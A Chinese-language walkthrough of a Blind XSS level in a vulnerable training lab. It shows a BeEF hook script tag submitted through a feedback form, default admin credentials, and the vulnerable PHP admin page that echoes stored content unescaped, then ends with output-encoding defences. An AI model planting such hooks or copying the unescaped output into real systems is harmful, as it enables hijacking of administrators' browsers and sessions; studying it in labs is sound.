前言:
在之前的关卡中,无论是反射型还是存储型,输入脚本后都能在前台页面看到效果(弹窗)。但有一种 XSS,输入后没有任何反应。这就是 Blind XSS(XSS 盲打)。它的攻击目标通常不是普通用户,而是 网站管理员 或后台审核人员。
1. 场景探测与分析
进入 “XSS 盲打 ” 关卡,界面非常简洁,是一个用户反馈表单。
- 输入测试:在输入框中填入 “ 你好 ” 和随便一个名字,点击提交。
- 现象:页面仅提示“谢谢参与,阁下的看法我们已经收到!”,随后表单被清空,URL 也没有变化,页面上也没有显示我刚才输入的内容。

初步判断 :
数据肯定被提交到了后端的数据库中,但前台不显示。这意味着如果存在 XSS,受害者不是前台用户,而是 能看到这些数据的人(管理员)。
2. 寻找攻击路径
既然攻击目标是管理员,我们需要找到管理员查看数据的入口(在实战中,这一步通常需要配合目录扫描工具)。
通过查看靶场提示或源码分析,找到了后台登录地址:http://localhost:8899/vul/xss/xssblind/admin_login.php

输入默认账号密码(通常是 admin/123456,也可以自己爆破出来)登录后,看到了一个“用户反馈的意见列表”。
关键点发现 :这里原样输出了刚才在前台提交的测试内容。这说明: 后台就是 XSS 的爆发点。

3. 构造 Payload 实施攻击
既然确认后台会渲染用户提交的数据,就可以在前台埋下“地雷”。
由于我看不到回显,无法确定过滤规则,通常会使用最简单的 Payload 或打 Cookie 的 Payload。为了验证危害最大化,直接使用 BeEF 钩子。
Payload:
<script src="http://localhost:3000/hook.js"></script>
攻击步骤:
- 回到前台“用户反馈”页面。
- 在内容框中填入上述 Payload。
- 点击提交。页面提示“谢谢参与”。
- 此时什么都没发生(这就是“盲”)。
4. 触发与上线
现在的场景模拟是:攻击者(我)已经埋好了雷,正在家里睡觉。
此时,不知情的管理员(模拟登录)打开了后台页面准备审核今天的用户留言。
触发流程:
- 管理员访问
admin_login.php并登录。 - 后台页面从数据库加载留言列表。
- 浏览器解析到我刚才提交的
<script src="...">标签。 - 浏览器悄悄加载了 BeEF 的
hook.js。
结果 :
当我(攻击者)查看 BeEF 控制台时,发现管理员的浏览器已经成功上线!


5. 源码深度解析
前台代码 (保存数据):
$link=connect();
$html='';
if(array_key_exists("content",$_POST) && $_POST['content']!=null){
..........
// ... 简单的存入数据库操作 ...
$query="insert into xssblind(time,content,name) values('$time','$content','$name')";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){$html.="<p>谢谢参与,阁下的看法我们已经收到!</p>";
}else {$html.="<p>ooo. 提交出现异常,请重新提交 </p>";
}
}
前台只负责把数据存进数据库,没有做输出,所以前台看不到 XSS。
后台代码 (admin.php 输出数据):
..................
<?php
// ... 连接数据库 ...
$query="select * from xssblind";
$result=mysqli_query($link, $query);
hile($data=mysqli_fetch_assoc($result)){
$html=<<<A
// 漏洞点:直接输出数据库内容,未做 htmlspecialchars 编码
<tr>
<td>{$data['id']}</td>
<td>{$data['time']}</td>
<td>{$data['content']}</td>
<td>{$data['name']}</td>
<td><a href="admin.php?id={$data['id']}">删除 </a></td>
</tr> A;
echo $html;}
?>
漏洞成因 :
问题的根源在于 后台管理页面。开发者往往觉得后台是内部使用的,环境相对安全,从而忽视了对从数据库取出的数据进行输出编码。当攻击者通过前台将恶意脚本存入数据库,管理员一打开后台,脚本就执行了。
6. 总结与防御
Blind XSS 的危害:
它是极其危险的,因为它直接威胁到 系统的最高权限者 。
通过 Blind XSS,攻击者可以:
- 窃取管理员的 Cookie,直接接管后台。
- 获取后台页面的源码、接口信息。
- 如果后台在内网,还可以利用管理员浏览器作为跳板扫描内网。
防御方案:
防御 XSS 的黄金法则依然适用:“输入做过滤,输出做编码”。
不仅仅是前台页面,后台管理页面 在输出用户提交的数据时,也必须严格使用 htmlspecialchars() 等函数进行实体编码。永远不要信任用户的输入,哪怕是在“只有管理员能看”的后台。